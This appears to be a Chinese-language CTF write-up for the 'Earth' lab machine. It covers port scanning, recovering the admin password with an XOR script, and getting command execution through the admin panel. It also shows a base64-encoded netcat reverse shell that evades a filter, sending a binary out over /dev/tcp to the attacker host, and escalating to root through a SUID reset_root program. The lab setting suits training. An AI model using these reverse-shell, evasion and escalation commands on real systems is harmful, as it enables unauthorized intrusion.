打开后将其设置为nat模式:
扫描到靶机ip:192.168.108.137
扫描端口:
可以看到,存在80端口和443端口,可以看到访问80端口是不能访问的
但是看到443端口也是http服务,看到
443端口的域名,以及dns:修改hosts:vim /etc/hosts
然后在访问earth.local
来到web界面:
存在一个发送信息的框架:
可以看到信息是通过自己设置的密钥进行加密的:
可以尝试以下目录扫描:
存在一个登录界面:
查看以下另一个dns:
是https的一个
可以看到存在robots.txt
访问:https://terratest.earth.local/robots.txt
获得
看到最后的一个文件:猜测是txt的扩展名:访问后获得:
翻译:
测试安全消息传递系统注意事项:
*使用 XOR 加密作为算法,应该像在 RSA 中使用一样安全。
*地球已确认他们已收到我们发送的消息。
*testdata.txt用于测试加密。
*Terra 用作管理门户的用户名。
待办事项:
*我们如何安全地将每月密钥发送到地球?还是我们应该每周更换密钥?
*需要测试不同的密钥长度以防止暴力破解。密钥应该有多长?
*需要改进消息传递界面和管理面板的界面,目前非常基础。
得到三个信息:
1.密码是通过异或进行加密的
2.test.txt是一个密码本
3.Terra 用作管理门户的用户名
首先我们需要获得密码本:
这因该就是信息,
这个是密文2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a
通过异或获得密码:
脚本:
import base64
import binascii
data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
#binascii.b2a_hex
res=hex(int(data1,16) ^ int(f,16))
print(res)
获得一串16进制的编码:
然后在将其转化为字符串:
0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
将其解码:
获得密码:earthclimatechangebad4humans
登录,登陆成功:
是一个命令执行的工具:
可以看到执行成功:
搜索以下flag:
查看一下:
尝试监听端口: nc -e 192.168.108.128 4444/bin/bash
可以看出,这个监听的ip是不能使用的,猜测是因为被过滤掉了,尝试使用base64加密后的进监听:
加密:
然后监听本机的4444端口:
nc-lvnp 4444
执行echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMTA4LjEyOCA0NDQ0IAo= | basea64 -d |bash
监听成功:
交互:
监听成功
进行交互:
没有权限
找一下超级用户:find / -perm -u=s -type f 2>/dev/null
可以看到:/usr/bin/reset_root
然后就可以查看一下,使用cat是乱码,就是尝试strings:
Strings /usr/bin/reset_root
看到是一段进程信息:
看到存在
有密码修改的地方
尝试执行一下程序:
提示是,程序存在触发器是不存在,将程序的信息发送到kali中进行审计:
靶机监听:cat /usr/bin/reset_root > /dev/tcp/192.168.108/128/8888
Kali 监听:nc -lvnp 8888 > reset_root
获得文件:
添加执行权限:
使用strace来追踪进程:
获得报错的信息:
不存在这三个文件,尝试在靶机添加文件:
再次运行程序:
可以看到密码进行了修改:
尝试登录root:
可以看到flag信息,查看他:
获得flag
完成!!